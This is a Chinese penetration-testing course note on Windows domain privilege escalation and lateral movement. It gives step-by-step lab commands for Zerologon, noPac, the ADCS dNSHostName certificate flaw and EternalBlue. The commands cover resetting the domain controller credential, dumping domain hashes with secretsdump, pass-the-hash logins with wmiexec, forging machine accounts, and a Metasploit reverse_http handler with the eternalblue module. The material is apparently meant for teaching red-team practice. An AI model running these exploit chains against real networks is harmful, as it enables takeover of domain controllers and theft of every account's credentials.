内网对抗-横向移动篇&域控系统提权&NetLogon&ADCS&PAC&KDC&永恒之蓝&CVE漏洞
#横向移动-域控提权-CVE-2020-1472
CVE-2020-1472是一个windows域控中最严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
0、获取计算机名:
net group "domain controllers" /domain
1、Socks代理后:
修改Host绑定域名和IP
2、连接DC清空凭证:
https://github.com/dirkjanm/CVE-2020-1472
python cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21
3、获取域内HASH:
python secretsdump.py "god.org/owa2010cn-god$@192.168.3.21" -no-pass
4、连接域控PTH:
python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
5、后续恢复密码:
https://github.com/risksense/zerologon
https://github.com/SecureAuthCorp/impacket
#横向移动-域控提权-CVE-2021-42287
CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
前提条件:一个域内普通账号
影响版本:Windows基本全系列
1、Socks代理后:
修改Host绑定域名和IP
2、noPac-python版本
https://github.com/Ridter/noPac
d:\Python3.8\python.exe scanner.py -use-ldap "god.org/webadmin:admin!@#45" -dc-ip 192.168.3.21
d:\Python3.8\python.exe noPac.py -use-ldap "god.org/webadmin:admin!@#45" -dc-ip 192.168.3.21 -shell
d:\Python3.8\python.exe noPac.py -use-ldap "god.org/webadmin:admin!@#45" -dc-ip 192.168.3.21 -dump
3、noPac-exe版本
https://github.com/cube0x0/noPac
noPac scan -domain god.org -user webadmin -pass admin!@#45
noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount dadd /mPassword sdadasdsa /service cifs /ptt
PsExec \\owa2010cn-god.god.org cmd
4、sam-python版本(Linux-kali)
https://github.com/WazeHell/sam-the-admin
proxychains4 python sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21 -shell
#横向移动-域控提权-CVE-2022-26923
当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。
影响:Win8.1、Win10、Win11、WinServer2012R2、WinServer2016、WinServer2019、WinServer2022等版本
前提条件:
1、一个域内普通账号
2、域内存在证书服务器
CS中获取CA结构名和计算机名
shell certutil
powershell Get-ChildItem Cert:\LocalMachine\Root\
域内信息
192.168.3.111
test Pass123
xiaodi-DC-CA
dc.xiaodi.lab
Kali添加访问域内信息 /etc/hosts
192.168.3.111 xiaodi.lab
192.168.3.111 xiaodi-DC-CA
192.168.3.111 dc.xiaodi.lab
proxychains4配置
vim /etc/proxychains4.conf
https://github.com/ly4k/Certipy
注意使用的是certipy 3版本 最新版参数不一致(kali2023以下版本自带)
1、申请低权限用户证书:
certipy req 'xiaodi.lab/test:Pass123@dc.xiaodi.lab' -ca xiaodi-DC-CA -template User -debug
2、检测证书
certipy auth -pfx test.pfx -dc-ip 192.168.3.111
3、创建一个机器账户:
python3 bloodyAD.py -d xiaodi.lab -u test -p 'Pass123' --host 192.168.3.111 addComputer pwnmachine 'CVEPassword1234*'
4、设置机器账户属性(dNSHostName和DC一致):
python3 bloodyAD.py -d xiaodi.lab -u test -p 'Pass123' --host 192.168.3.111 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=lab' dNSHostName '["DC.xiaodi.lab"]'
5、再次申请证书:
certipy req 'xiaodi.lab/pwnmachine$:CVEPassword1234*@192.168.3.111' -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug
6、检测证书:
certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111
7、导出HASH:
python3 secretsdump.py 'xiaodi.lab/dc$@DC.xiaodi.lab' -hashes :10e02bef2258ad9b239e2281a01827a4
8、利用HASH:
python3 wmiexec.py xiaodi.lab/administrator@192.168.3.111 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
其他重要漏洞合集:
参考:https://mp.weixin.qq.com/s/Rd2wUxH-rG6f1oX-xS8png
MS14-068
MS17-010
PrintNightmare
Exchange系列
...........
#横向移动-系统漏洞-CVE-2017-0146
CVE-2017-0146(MS17010)
Windows Vista SP2;
Windows Server 2008 SP2 and R2 SP1;
Windows 7 SP1;
Windows 8.1;
Windows Server 2012 Gold and R2;
Windows RT 8.1;
Windows 10 Gold, 1511, and 1607;
Windows Server 2016
-插件检测-横向移动
-CS联动MSF-检测&利用
1、CS创建外联监听器
2、CS执行联动MSF
msf ip 8888
spawn msf
3、MSF监听联动配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8888
run
4、添加路由
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
5、检测模块
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.3.21-32 //设置扫描目标段
set threads 5 //设置扫描线程数
run
6、利用模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp //正向连接上线
set rhost 192.168.3.25 //设置连接目标
set rhosts 192.168.3.25 //设置扫描目标
run
#横向移动-域控提权-CVE-2014-6324
见前面PTT横向移动课程演示